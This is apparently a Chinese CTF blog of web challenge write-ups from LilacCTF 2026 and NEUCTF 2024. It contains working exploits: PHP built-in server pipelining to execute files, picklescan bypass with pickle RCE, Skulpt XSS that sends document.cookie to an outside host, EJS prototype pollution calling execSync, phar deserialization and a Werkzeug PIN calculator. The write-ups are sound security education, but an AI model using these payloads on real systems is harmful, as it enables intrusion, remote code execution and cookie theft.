Php特性 on Freedom

lilacctf 2026 web wp

Wed, 28 Jan 2026 21:14:15 +0800

keep(solved)

这题感觉出的很巧妙

0x01 源码泄露

上来很明显是php<=7.4.21源码泄露漏洞，直接抄poc发现复现不了，这题目把不带文件后缀的路由都解析到index.php上去了，所以发第二个请求的时候应该带上后缀。

import socket

host = ""
port = 

request = (
    "GET /index.php HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Connection: close\r\n"
    "\r\n"
    "GET /freedom.js HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Connection: close\r\n"
    "\r\n"
).encode("ascii")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect((host, port))
s.sendall(request)

chunks = []
while True:
    try:
        buf = s.recv(4096)
        if not buf:
            break
        chunks.append(buf)
    except socket.timeout:
        break

s.close()

resp = b"".join(chunks)
print(resp.decode("utf-8", errors="replace"))
# /s3Cr37_f1L3.php.bak

0x02 解析问题

发现没有s3Cr37_f1L3.php，卡了半天，后来fuzz了半天有了新发现

request = (
    "GET /s3Cr37_f1L3.php.bak HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Connection: close\r\n"
    "\r\n"
    "GET /s3Cr37_f1L3.php HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Connection: close\r\n"
    "\r\n"
)

发送这样的请求居然返回200，改成post试试发现出了，最开始以为是走私呢，后来去翻源码找到了原因：

// https://github.com/php/php-src/blob/PHP-7.4.21/sapi/cli/php_cli_server.c#L2228
static int php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client) /* {{{ */
{
	int is_static_file  = 0;
	const char *ext = client->request.ext;

	SG(server_context) = client;
	if (client->request.ext_len != 3
	 || (ext[0] != 'p' && ext[0] != 'P') || (ext[1] != 'h' && ext[1] != 'H') || (ext[2] != 'p' && ext[2] != 'P')
	 || !client->request.path_translated) {
		is_static_file = 1;
	}

	if (server->router || !is_static_file) {
		if (FAILURE == php_cli_server_request_startup(server, client)) {
			SG(server_context) = NULL;
			php_cli_server_close_connection(server, client);
			destroy_request_info(&SG(request_info));
			return SUCCESS;
		}
	}

	if (server->router) {
		if (!php_cli_server_dispatch_router(server, client)) {
			php_cli_server_request_shutdown(server, client);
			return SUCCESS;
		}
	}

	if (!is_static_file) {
		if (SUCCESS == php_cli_server_dispatch_script(server, client)
				|| SUCCESS != php_cli_server_send_error_page(server, client, 500)) {
			if (SG(sapi_headers).http_response_code == 304) {
				SG(sapi_headers).send_default_content_type = 0;
			}
			php_cli_server_request_shutdown(server, client);
			return SUCCESS;
		}
	} else {
		if (server->router) {
			static int (*send_header_func)(sapi_headers_struct *);
			send_header_func = sapi_module.send_headers;
			/* do not generate default content type header */
			SG(sapi_headers).send_default_content_type = 0;
			/* we don't want headers to be sent */
			sapi_module.send_headers = sapi_cli_server_discard_headers;
			php_request_shutdown(0);
			sapi_module.send_headers = send_header_func;
			SG(sapi_headers).send_default_content_type = 1;
			SG(rfc1867_uploaded_files) = NULL;
		}
		if (SUCCESS != php_cli_server_begin_send_static(server, client)) {
			php_cli_server_close_connection(server, client);
		}
		SG(server_context) = NULL;
		return SUCCESS;
	}

	SG(server_context) = NULL;
	destroy_request_info(&SG(request_info));
	return SUCCESS;
}

PHP Built-in Server 使用基于回调的事件驱动 HTTP 解析器php_http_parser，在一次php_http_parser_execute()调用中解析多个连续 HTTP 请求，不同请求的回调复用同一个php_cli_server_request结构体，回调函数直接覆盖字段，但没有做完整的状态隔离 / 边界校验。

扩展名长度不是 3||扩展名不是 php（大小写）||path_translated 不存在（通常表示请求路径能正确映射到本地文件路径），命中一个就会被视为静态文件，也就是源码泄露那个漏洞。
反过来，第一个请求提供：path_translated（真实存在的文件路径，如 shell.bak），第二个请求 提供：ext = "php"（从 URL 提取的扩展名）由于文件不存在，不会更新 path_translated，会被视为php脚本执行。也就是说：任意存在的三字符后缀文件（.jpg .png .gif .zip .rar .wav .bak …）可以在按照这种请求序列被PHP解释器当作.php脚本执行。

exp:

import socket

host = ""
port = 
cmd = "admin=system('cat /flag*');"
cmd_len = len(cmd)

request = (
    "GET /s3Cr37_f1L3.php.bak HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Connection: close\r\n"
    "\r\n"
    "POST /1.php HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {cmd_len}\r\n"
    "Connection: close\r\n"
    "\r\n"
    f"{cmd}\r\n"
).encode("ascii")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect((host, port))
s.sendall(request)

chunks = []
while True:
    try:
        buf = s.recv(4096)
        if not buf:
            break
        chunks.append(buf)
    except socket.timeout:
        break

s.close()

resp = b"".join(chunks)
print(resp.decode("utf-8", errors="replace"))

checkin(solved)

给ai大人跪了

/backup.zip有源码，略微调整了一下：

# Python 3.14.2
import re
from collections import UserList

class LockedList(UserList):
    def __setitem__(self, key, value):
        raise Exception("Assignment blocked!")

def sandbox_loop():
    while True:
        try:
            user_input = input(">>> ").strip()
            if not user_input:
                continue
            if user_input.lower() in ("exit", "quit"):
                print("Bye~")
                break

            status = LockedList([False])
            status_id = id(status)

            user_input = user_input.encode('idna').decode('ascii').rstrip('-')

            if re.search(r'[0-9A-Z]', user_input):
                print("FORBIDDEN: No numbers or alphas")
                continue

            if re.search(r'[_\s=+\[\],"\'\<\>\-\*@#$%^&\\\|\{\}\:;]', user_input):
                print("FORBIDDEN: Incorrect symbol detected")
                continue

            if re.search(
                r'(status|flag|update|setattr|getattr|eval|exec|import|locals|os|sys|'
                r'builtins|open|or|and|not|is|breakpoint|exit|print|quit|help|input|globals)',
                user_input.casefold()
            ):
                print("FORBIDDEN: Keywords detected")
                continue

            if len(user_input) > 60:
                print("FORBIDDEN: Input too long! Keep it concise and it is very simple.")
                continue

            eval(user_input)

            if status[0] and id(status) == status_id:
                try:
                    with open('/flag', 'r') as f:
                        flag = f.read().strip()
                        print(f"SUCCESS! Flag: {flag}")
                except Exception:
                    print("SUCCESS! (flag file not found in this environment)")
            else:
                print(f"FAILURE: status is still {status}")

        except Exception:
            print("Don't be evil~ And I won't show you this error :)")

if __name__ == "__main__":
    sandbox_loop()

ai神力

沙箱逃逸一把梭

Nailong

原来不用训练模型啊

https://github.com/mmaitre314/picklescan/security/advisories/GHSA-mjqp-26hc-grxg

大致意思就是当 ZIP 压缩包里存在 CRC 校验错误的文件时，PickleScan 就停止扫描了。

下载对应的版本

`1`	`pip install picklescan == 0.0.30`

写了一个差不多的版本用来验证

import subprocess, sys
import torch
import torch.nn as nn
from torchvision import models
import re

def scan_with_picklescan(model_path: str) -> None:
    cmd = ["picklescan", "--path", model_path]
    r = subprocess.run(cmd, capture_output=True, text=True)
    out = (r.stdout or "") + (r.stderr or "")

    low = out.lower()
    if r.returncode != 0:
        raise RuntimeError(f"picklescan 扫描失败(非0退出)，拒绝加载:\n{out}")

    m_infected = re.search(r'infected files:\s*(\d+)', low)
    if not m_infected:
        raise RuntimeError(
            f"无法解析 Infected files（输出异常），拒绝加载:\n{out}"
        )
    infected = int(m_infected.group(1))
    if infected != 0:
        raise RuntimeError(
            f"picklescan 检测到感染文件 (Infected files={infected})，拒绝加载:\n{out}"
        )

    m_danger = re.search(r'dangerous globals:\s*(\d+)', low)
    if not m_danger:
        raise RuntimeError(
            f"无法解析 Dangerous globals（输出异常），拒绝加载:\n{out}"
        )
    dangerous = int(m_danger.group(1))
    if dangerous != 0:
        raise RuntimeError(
            f"picklescan 检测到危险全局对象 (Dangerous globals={dangerous})，拒绝加载:\n{out}"
        )

def load_resnet50_nailong(model_path: str):
    scan_with_picklescan(model_path)

    model = models.resnet50(weights=None)
    num_features = model.fc.in_features
    model.fc = nn.Linear(num_features, 2)

    state = torch.load(model_path, map_location="cpu", weights_only=False)
    model.load_state_dict(state)
    model.eval()
    return model

load_resnet50_nailong("./InjectModel2x.pt")

exp:

import torch
import zipfile

class exp(object):
    def __reduce__(self):
        return (exec, ("os.system('calc')", ))

filename = 'InjectModel2.pt'

torch.save(exp(), filename)

with zipfile.ZipFile(filename, 'r') as zf:
    crc = zf.infolist()[0].CRC

with open(filename, 'rb') as f:
    data = f.read()
    evil_data = data.replace(crc.to_bytes(4, 'little'), b'\x00\x00\x00\x00')

save_filename = 'InjectModel2x.pt'

with open(save_filename, 'wb') as f:
    f.write(evil_data)

Path

黑盒没看

题目描述：

PATH MAZE  
Win32 → NT Path Conversion Challenge  

Stage 1: Diagnostic Access  
GET /api/diag/read  
Read diagnostic files from the local system.  

Parameters:  
path - File path to read  

Stage 2: Export Access  
GET /api/export/read  
Read exported backup files. Requires valid access token.  

Parameters:  
path - File path to read  
token - Access token obtained from Stage 1  

System Information  
GET /api/info  
Get basic system information and hints.  

Path Maze CTF Challenge | Good luck! 🚀

访问/api/info

{
  "data": {
    "challenge": "Path Maze",
    "hints": [
      "Stage 1: Find and read the access token from the system",
      "Stage 2: Use the token to access the backup server",
      "Token location: C:\\token\\access_key.txt",
      "Backup server: 172.20.0.10",
      "Backup server SMB Share name: backup",
      "Flag file: flag.txt"
    ],
    "stages": 2,
    "version": "1.0.0"
  },
  "success": true
}

直接 C:\token\access_key.txt 被过滤，改成 NT 直通前缀绕过 Win32 正常解析： \\?\C:\token\access_key.txt
UNC 被过滤，所以不用 \server\share...，改成 NT 设备路径：\\?\GLOBALROOT\Device\Mup\172.20.0.10\backup\flag.txt，利用 GLOBALROOT + Device\Mup 直接访问 SMB 共享路径，绕过 UNC 过滤。~~感觉这题拷打ai也能出~~

Playground

黑盒依旧没看

官方文件里没放frontend/src/lib/utils.ts，让ai帮我补全了

import { clsx, type ClassValue } from "clsx"
import { twMerge } from "tailwind-merge"

type OutputHandler = (text: string) => void

const allowedModules = new Set([
  "sys",
  "math",
  "random",
  "time",
  "re",
  "json",
])

function isAllowedStdlibPath(path: string) {
  if (!path.startsWith("src/lib/")) {
    return false
  }

  const rest = path.slice("src/lib/".length)
  const root = rest.split("/")[0]
  const moduleName = root.replace(/\.(py|js)$/, "")
  return allowedModules.has(moduleName)
}

function getSkulpt() {
  if (typeof window === "undefined" || !window.Sk) {
    throw new Error("Skulpt is not loaded")
  }
  return window.Sk
}

export function cn(...inputs: ClassValue[]) {
  return twMerge(clsx(inputs))
}

export async function runCode(code: string, onOutput: OutputHandler) {
  const Sk = getSkulpt()

  Sk.builtins.jseval = undefined

  Sk.configure({
    output: (text: string) => {
      onOutput(text)
    },
    read: (path: string) => {
      if (!Sk.builtinFiles || !Sk.builtinFiles.files) {
        throw new Error("Skulpt stdlib is not available")
      }

      if (!isAllowedStdlibPath(path)) {
        throw new Error(`Import blocked: ${path}`)
      }

      const file = Sk.builtinFiles.files[path]
      if (typeof file !== "string") {
        throw new Error(`Stdlib file missing: ${path}`)
      }

      return file
    },
  })

  try {
    await Sk.misceval.asyncToPromise(() =>
      Sk.importMainWithBody("<stdin>", false, code, true)
    )
  } catch (error) {
    const message = error instanceof Error ? error.message : String(error)
    throw new Error(message)
  }
}

export async function shareWithBot(code: string) {
  try {
    const response = await fetch("/api/share", {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify({ code }),
    })

    const text = await response.text()
    if (!response.ok) {
      alert(text || "Failed to share with bot")
      return
    }

    alert(text)
  } catch (error) {
    const message = error instanceof Error ? error.message : String(error)
    alert(message)
  }
}

大致原理：

Skulpt 会把 python 编译成 js，再用 eval 执行，禁用了 jseval，并限制 import 只能读“标准库”，避免直接执行任意 JS。
正常的字符串常量会先变成 Sk.builtin.str(…)，不会注入，但 compile(source, filename, mode) 的 filename 参数没有走这套处理，直接进入 JS 模板拼接（例如异常处理里：filename:’…’+ this.filename + ‘…’）
编译后运行时，抛异常会进入 “异常打印/traceback 处理” 的 JS 代码路径，在这个路径里会把 filename 拼进 JS 对象文本，从而执行你注入的 JS。

# 官方
filename = "' + fetch(`http://ip/?${btoa(document.cookie) || 'none'}`) + '"
code = compile("raise Exception('trigger')", filename, "exec")
exec(code)

# 星盟
evil = compile(
    "1/0",
    "'+(fetch(\"http://ip/?c=\"+encodeURIComponent(document.cookie)),'')+'",
    "exec"
)
exec(evil)

share with bot即可

safesql

黑盒还是没看

ai写的

这是一个 autovacuum 在 BRIN summarize 路径中未做权限切换，导致索引表达式函数以postgres身份执行，从而实现本地数据库超级用户提权的漏洞（CVE-2022-1552）。

在 PostgreSQL 12.10 中，autovacuum 在完成常规表清理后，会继续遍历 AutoVacuumShmem->av_workItems，并对其中尚未处理的工作项调用 perform_work_item()。在该版本里，实际能够被触发的工作项类型只有 AVW_BRINSummarizeRange，其处理逻辑是直接调用 brin_summarize_range(relation, blockNumber)。这一调用发生在 autovacuum worker 进程中，而 brin_summarize_range 本身并没有进行任何权限上下文切换，导致整个执行过程始终处于 postgres 超级用户的权限环境下，这构成了漏洞产生的前提条件。

BRIN summarize 的核心职责是重新计算索引的摘要信息，在这一过程中，PostgreSQL 会调用定义在 BRIN 索引上的表达式函数。该表达式函数本质上是用户自定义函数，如果在索引创建完成后将其替换为包含任意逻辑的实现（例如调用 attack_func()），那么在 BRIN summarize 过程中，这段用户可控逻辑就会被执行。由于 summarize 是由 autovacuum worker 触发且未切换权限，上述函数调用会直接以 postgres 的身份运行，从而形成权限提升的利用点。

SQL 利用流程的关键在于先满足系统对索引合法性的检查，再在后续阶段注入攻击逻辑。具体而言，先创建一张普通表并基于其创建一个 autosummarize=ON 的 BRIN 索引，索引表达式函数最初被声明为 IMMUTABLE，以通过索引创建时的安全与一致性校验。索引创建完成后，再将该函数替换为包含攻击逻辑的版本。随后通过大量 INSERT 操作触发 BRIN summarize 对应的 autovacuum 工作项，最终在 autovacuum 执行 brin_summarize_range() 时调用被篡改的表达式函数，使 attack_func() 以内置 postgres 权限执行，并在其中完成诸如 ALTER USER test SUPERUSER 的提权操作。

该利用链不依赖于制造 dead tuples 或真正触发一次完整的 vacuum 过程，而仅依赖 BRIN summarize 工作项的生成与执行。由于 BRIN summarize 的触发条件主要与 autosummarize 配置和插入数据量相关，只要能够产生对应的 work item，就足以进入漏洞路径。因此，表的创建、索引的建立以及大量数据插入都可以在同一个事务中完成，无需等待 autovacuum 处理传统意义上的表膨胀或垃圾数据，这也使得整个利用过程更加稳定和直接。

看不懂喵，只会一把梭

参考链接

官方wp

星盟

0xfff

NEUCTF Web Round-2 总结

Thu, 19 Sep 2024 23:25:00 +0800

Middleware Security

总体思路：

tomcat 对分号有解析差，也就是说..;/ 会被解析成../

参考链接：https://blog.csdn.net/qq_41891666/article/details/110392483

了解这一点之后，再来看一下源码

@RestController
public class DemoController {
    static String flag = "";
 
    static {
        try {
            flag = new String(Files.readAllBytes(Paths.get("/flag")));
        } catch (IOException var1) {
            IOException e = var1;
            e.printStackTrace();
        
 
    }
 
    public DemoController() {
    }
 
    @GetMapping({"/hello"})
    public String hello() {
        return "Hello World!";
    }
 
    @GetMapping({"/admin"})
    public String admin(HttpServletRequest request) throws Exception {
        System.out.println(request.getRequestURI());
        String[] var5;
        int var4 = (var5 = new String[]{"admin", ".."}).length;
 
        for(int var3 = 0; var3 < var4; ++var3) {
            String block = var5[var3];
            if (request.getRequestURI().contains(block)) {
                return "Shall not pass!";
            }
        }
 
        return "You shall pass! " + flag;
    }
}

大致意思就是有 hello 和 admin 两个路由，，访问到 admin 并绕过黑名单检查就会得到 flag，这个题和别的目录穿越不一样，是横向的目录穿越（半天没反应过来还是问的别人），是通过 hello 跳到根目录再跳到 admin 路由，payload 如下：

`1`	`/hello/..;/admin`

但只是绕过了 tomcat 的检查还需要再 url 编码一下绕过 springboot 的 getRequestURI () 的检查

`1`	`/hello/%2e%2e;/%61%64%6d%69%6e`

还有一个问题，我使用 hackbar 发包的时候 %2e%2e 不知道为啥自动解析成.. 了，用 burp 发包就没问题

File Browser

总体思路

打开就是一些目录，但是不全，用 dirsearch 扫到了一个 /console 路由没见过，打开看看

搜了一下 pin 码，发现是 python flask 框架下的考点，必须找出来 6 个参数，然后再用脚本计算出 pin 码，找到这些参数，光页面这些文件是不够的，这就到了这道题的第一个考点：路径遍历，不过往常的路径遍历都是有一个注入参数的而这个题是直接在网址后面输入../../，但是你输入会发现会被自动纠正没了，所以 url 编码一下..%2f..%2f，剩下就简单了，照葫芦画瓢就可以了

username 看 /etc/passwd

modname 和 appname 一般都是默认的

moddir 一般都是通过报错获得的，而这道题可以读自然就可以慢慢找到是 /usr/local/lib/python3.12/site-packages/flask/app.py

uuidnode mac 就是读取网卡的 mac 地址（有的脚本需要你自己转 10 进制，我这个不需要），/sys/class/net/eth0/address，有时候可能不是 eth0，读不到可以先列一下 /sys/class/net/ 目录

最后一部分就是 machine_id，这部分可能有点小麻烦，如果能读 /usr/local/lib/python3.12/site-packages/werkzeug/debug/init.py，最好是先读一下他，第一算法可能使用的是 md5 或 sha1，本题使用的是 sha1（新版本）

第二是这段代码

def _generate() -> str | bytes | None:
        linux = b""
        # machine-id is stable across boots, boot_id is not
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue
            if value:
                linux += value
                break
 
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

先读 /etc/machine-id，如果读到了就不需要 /proc/sys/kernel/random/boot_id，没读到 /etc/machine-id 就需要读 /proc/sys/kernel/random/boot_id，接着是读 /proc/self/cgroup（有时 self 也可能是 [pid]，多试几个数），cgroup 有时候也可能被过滤，访问不到（注意是访问不到，不是访问到了没东西），可以考虑 mountinfo 和 cpuset，将两部分拼接到一起就是最后一部分。

但是本题不一样，/proc/self/cgroup 访问到了，但是没东西，所以 machine_id 只有一部分

参考链接：https://blog.csdn.net/qq_35782055/article/details/129126825

最后上一下计算 pin 码的脚本

import hashlib
from itertools import chain
import argparse
 
 
 
def getMd5Pin(probably_public_bits, private_bits):
    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')
 
    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
    rv = None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num
 
    return rv
 
def getSha1Pin(probably_public_bits, private_bits):
    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")
 
    num = None
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]
 
    rv = None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x: x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num
 
    return rv
 
def macToInt(mac):
    mac = mac.replace(":", "")
    return str(int(mac, 16))
 
if __name__ == '__main__':
    parse = argparse.ArgumentParser(description = "Calculate Python Flask Pin")
    parse.add_argument('-u', '--username',required = True, type = str, help = "运行flask用户的用户名")
    parse.add_argument('-m', '--modname', type = str, default = "flask.app", help = "默认为flask.app")
    parse.add_argument('-a', '--appname', type = str, default = "Flask", help = "默认为Flask")
    parse.add_argument('-p', '--path', required = True, type = str, help = "getattr(mod, '__file__', None):flask包中app.py的路径")
    parse.add_argument('-M', '--MAC', required = True, type = str, help = "MAC地址")
    parse.add_argument('-i', '--machineId', type = str, default = "", help = "机器ID")
    args = parse.parse_args()
 
    probably_public_bits = [
        args.username,
        args.modname,
        args.appname,
        args.path
    ]
 
    private_bits = [
        macToInt(args.MAC),
        bytes(args.machineId, encoding = 'utf-8')
    ]
    md5Pin = getMd5Pin(probably_public_bits, private_bits)
    sha1Pin = getSha1Pin(probably_public_bits, private_bits)
 
    print("Md5Pin:  " + md5Pin)
    print("Sha1Pin:  " + sha1Pin)

参考链接：https://xz.aliyun.com/t/11647?time__1311=Cq0xRQiQe7qDqGX7877qi%3DGCDuGgt87io4D

进入控制台后就可以进行命令执行了

Bible Reader

这题我主要就是照着王哥的 wp 打的，顺便学习一下原型链污染的姿势：Bible-Reader

整体思路：

0x01 文件任意读

漏洞存在于这部分的代码，可以看到 version 的部分是可控的

app.get('/download/:version', (req, res) => {
    const { version } = req.params;
    const filePath = path.join(__dirname, 'texts', `${version}`);
 
    fs.access(filePath, fs.constants.F_OK, (err) => {
        if (err) {
            return res.status(404).send('File not found');
        }
  
        res.download(filePath, `bible-${version}`, (err) => {
            if (err) {
                res.status(500).send('Error in downloading file');
            }
        });
    });
});

这里还涉及到一个动态路由解析的问题：https://www.bytezonex.com/archives/Rs5OQBMk.html

测试一下

const { pathToRegexp } = require('path-to-regexp');
const keys = [];
const regexp = pathToRegexp('/download/:version', keys);
console.log(regexp); // 输出正则
console.log(keys);   // 输出参数信息

说人话就是只能匹配一个 /，所以我们拼接的路径要 url 编码一下

0x02 Admin token

要想污染必须先拿到这个 token

这个 token 是在后台有输出的

`1`	console.log(`Admin token (only printed once in the console): ${appUUID}`);

提示里说注意启动方式，以非守护进程启动的话，会把输出打印在控制台上，进而存在日志中，那我们前面的任意读就有用了，只需要找到所在位置就可以

在这里因为是 app 身份启动，所以在 /home/app/.pm2/logs/app-out.log（可以本地起个 docker 进后台看翻一下）

0x03 原型链污染

先看一下可利用的位置

app.post('/api/settings', authenticate, (req, res) => {
    const {version, ...newSettings} = req.body;
    Object.assign(bibleSettings[version], newSettings);
    res.json({message: 'Settings updated'});
});

Object.assign 将 source 对象的属性合并到 target 对象中（类似于 merge）。这里表示将 newSettings 中的属性合并到 bibleSettings[version] 中。

结合 ejs 模板引擎，我们很容易想到利用 outputFunctionName（可以去看看 ctfshow web342&343），但是胡哥出题哪能那么套路化，这个洞已经被修复了。

于是又 get 到新的姿势：https://blog.z3ratu1.top/hxpCTF2022wp.html，利用 escapeFunction

再借用一下王哥 wp 的图：

最终 payload:

{
  "version": "__proto__",
  "escapeFunction": "1;return process.mainModule.require('child_process').execSync('/readflag')",
  "client": true,
  "compileDebug": false,
  "async": false
}

去 /api/settings 发包，再访问 /settings 触发 render 函数即可得到 flag

goblog

总体攻击链：

注册用户名 {{.}} =>follow admin=> 利用 uint32 溢出转换使 (uint32) uid = 1 且通过 isSystemUser (int) 的判断 => 查看 admin 的 profile 触发 SSTI=> 获得 admin 的 MD5 密码 => 解密 md5 登录为 admin

0x01 go_ssti

go 的模板注入不同于其他的语言，大部分是用来泄露信息的，而不是进行代码注入。tmpl.Execute 函数用于将 tmpl 对象中的模板字符串进行渲染，第一个参数传入的是一个 Writer 对象，后面是一个上下文，在模板字符串中，可以使用 {{ . }} 获取整个上下文，或使用 {{ .A.B }} 进行层级访问。若上下文中含有函数，也支持 {{ .Func "param" }} 的方式传入变量。并且还支持管道符运算。

看一下源代码的模板位置（/controller/profile.go）

tmpl := template.New("") // 创建新的模板实例
 
body := "Profile of user {{.Username}}:\nID: %v\nBio.: {{.Bio}}\nFollowers:\n" // 定义模板内容
 
for _, follower := range followers { // 遍历关注者列表
    username := follower.Username
    id := follower.Id
 
    if id != token.UserId { // 如果关注者 ID 不是当前用户，则隐藏用户名
        username = "***"
    }
 
    body += fmt.Sprintf("%v (%v)\n", username, id) // 将格式化的关注者信息添加到模板字符串
}
 
t := fmt.Sprintf(body, uid) // 格式化模板字符串，将 `uid` 作为 ID 进行替换
tmpl, err = tmpl.Parse(t) // 解析模板
 
if err != nil {
    return c.JSON(view.UserProfileResponse{
        BaseResponse: view.BaseResponse{
            Success: false,
            Message: "Failed to parse template",
        },
    })
}
 
var out bytes.Buffer
err = tmpl.Execute(&out, user) // 使用模板渲染数据

注意到body += fmt.Sprintf("%v (%v)\n", username, id)，这个 username 会拼接到 body，如果关注者的 username 是”{{.}}”，那么在解析模板时，这个部分会被当作一个动作，执行时会输出整个当前上下文的数据结构，会泄露 admin 敏感信息。

0x02 整数溢出

1
2
3

func isSystemUser(uid int) bool {
	return uid < 1000
}

我们直接看 admin 的 profile 是不被允许的

所以要通过溢出来绕过，4294967297 是 uint32 的最大值 4294967295 加上 2，因此当它被转换为 uint32 时，会发生溢出。

泄露了 admin 密码的 md5 解密即可

Two-Lines Challenge

代码很简单，但是利用起来很不容易，一环扣一环，每一步都要很仔细。

1
2
3

<?php
class Evil { function __destruct() { eval($this->nothing); } }
symlink($_GET['file'] ?? __FILE__, $file=uniqid('/tmp/',true).'.tmp') && highlight_file($_GET['file1'] ?? $file);

创建了一个 Evil 类，其 __destruct 方法会执行 $this->nothing 的 eval() 代码，然后创建一个指向指定文件的符号链接，并高亮显示另一个指定的文件内容。

总体攻击链：

令 file=sess_( 可以代表任何东西) 创建一个不存在的 sess_*=>highlight_file 会泄露创建的软连接的 tmp 文件路径 => 利用 tar 处理 phar 头尾脏数据 => 利用 php_session_upload_progress 漏洞上传 tar 文件 => 令 file1 = 刚才泄露的文件进行 phar 反序列化 =>rce

0x01 创建 sess_sess 文件

url?file=sess_sess

这个 tmp 后缀的文件是软连接于 sess_sess 的，利用的是如果文件不存在 highlight_file () 会报错泄露文件路径

0x02 php_session_upload_progress 漏洞

参照：https://xi4or0uji.github.io/2018/10/25/hitcon-2018-One-Line-PHP-Challenge/

这种特殊的上传方式可以控制文件名（sess_*）和文件的内容

0x03 构造 phar

我们从上图可以看到 upload_progress_后面这一小部分是可控的，这一小部分我们就可以传入 phar 的内容，所以到这里这个题就转化了含有头尾脏数据的 phar 反序列化。如何处理呢？参照：https://boogipop.com/2023/07/08/Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%85%B6%E4%B8%80%E7%B3%BB%E5%88%97%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/

先在本地测试一下

<?php
class Evil {
    function __destruct() { eval($this->nothing); }
}
 
$a=new Evil();
$a->nothing = 'system("ls");'; // 恶意代码
//前面的脏数据
$dirtydata = "upload_progress_";
 
 
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);
//下面$dirtydata是可以自定义的
$phar->addFromString($dirtydata , "test");
$phar->stopBuffering();
$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, strlen($dirtydata));
$exp = file_put_contents("./break_phar.tar",$post_exp);
?>

<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
class Evil {
    function __destruct() { eval($this->nothing); }
}
$dirty="test0000000000000000000";
$front="upload_progress_";
$old=file_get_contents("./break_phar.tar");
$new=$front.$old.$dirty;
file_put_contents("./new.tar",$new);
highlight_file("phar://D:/CTF/nex_temp/two-line-challenge/new.tar")
?>

可以看到，虽然有报错，但是还是成功反序列化了

实际上我们要传的就是 break_phar.tar 这个文件，传到服务器上，和头部和尾部的脏数据拼接。

0x04 上传 tar 文件

import requests
 
# 直接读取文件的二进制内容
with open("/home/kali/Desktop/break_phar.tar", "rb") as f:
    php_session_upload_progress = f.read()  # 不进行 URL 编码，直接保留原始二进制
 
# 目标 url
url = ""
cookies = {"PHPSESSID": "sess"}
 
# 设置 `files` 参数
with open("/home/kali/Desktop/break_phar.tar", "rb") as f:
    files = {
        "PHP_SESSION_UPLOAD_PROGRESS": (None, php_session_upload_progress),  # 直接传二进制
        "file": ("break_phar.tar", f, "application/octet-stream")  # 作为文件上传
    }
 
    # 发送 POST 请求
    response = requests.post(url, cookies=cookies, files=files)
 
    # 输出服务器响应
    print("Status Code:", response.status_code)
    print("Response Text:", response.text)

因为我们走的不是正常的文件上传流程，所以需要读取文件的数据，然后再上传

0x05 phar 反序列化

url?/file1=phar:///tmp/xxxxx.tmp（刚才泄露的路径）

注意路径要写完整，可以看到反序列化成功了

NEUCTF Web Round-1 总结

Mon, 29 Jul 2024 11:02:00 +0800

ezrand

先上源码

<?php
// 设置随机数种子，种子是 '/proc/self/mountinfo' 文件内容的 CRC32 哈希值
mt_srand(crc32(file_get_contents('/proc/self/mountinfo')));
 
// 生成两个随机数并将其连接为字符串，然后输出
echo mt_rand().mt_rand();
 
// 检查用户通过 GET 请求传入的 'guess' 参数是否与接下来生成的两个随机数相匹配
if (($_GET['guess'] ?? '') === mt_rand().mt_rand()) 
    // 如果匹配，则读取并输出 '/flag' 文件的内容
    echo file_get_contents('/flag');
else 
    // 如果不匹配，则显示当前文件的源代码并加上语法高亮
    highlight_file(__FILE__);
?>
# 6593240329414056

我们来分析一下，该题的关键是 mt_rand 函数

生成的是伪随机数，所以我们可以通过输出来还原种子，进而预测下一轮随机数

输出 6593240329414056 是由两个随机数连接成为的字符串，我们先来测试一下这个函数，空着输出 10 个

<?php
for ($i = 0; $i < 10; $i++) {
    echo mt_rand(); // 生成并输出一个随机数
    echo "\n"; // 输出换行符
}

发现他们的位数相仿，而这道题的输出是 16 位，我们先对半分，猜想两个随机数都是 8 位

我们使用 php_mt_seed 工具来爆破还原种子

参考文档：https://blog.csdn.net/m0_46607055/article/details/121335800

我们带入尝试一下，发现种子都不符合，我们再尝试一下别的位数

带入验证一下，这回对上了

<?php
mt_srand(4267213920); // 初始化伪随机数生成器
 
for ($i = 0; $i < 5; $i++) {
    echo mt_rand(); // 生成并输出一个随机数
    echo "\n"; // 输出换行符
}

进而下一轮就是 6055072741271739155

ezclass

先上源码

<?php
// 创建一个匿名类实例，并将其实例化为 $class 变量
$class = new class {
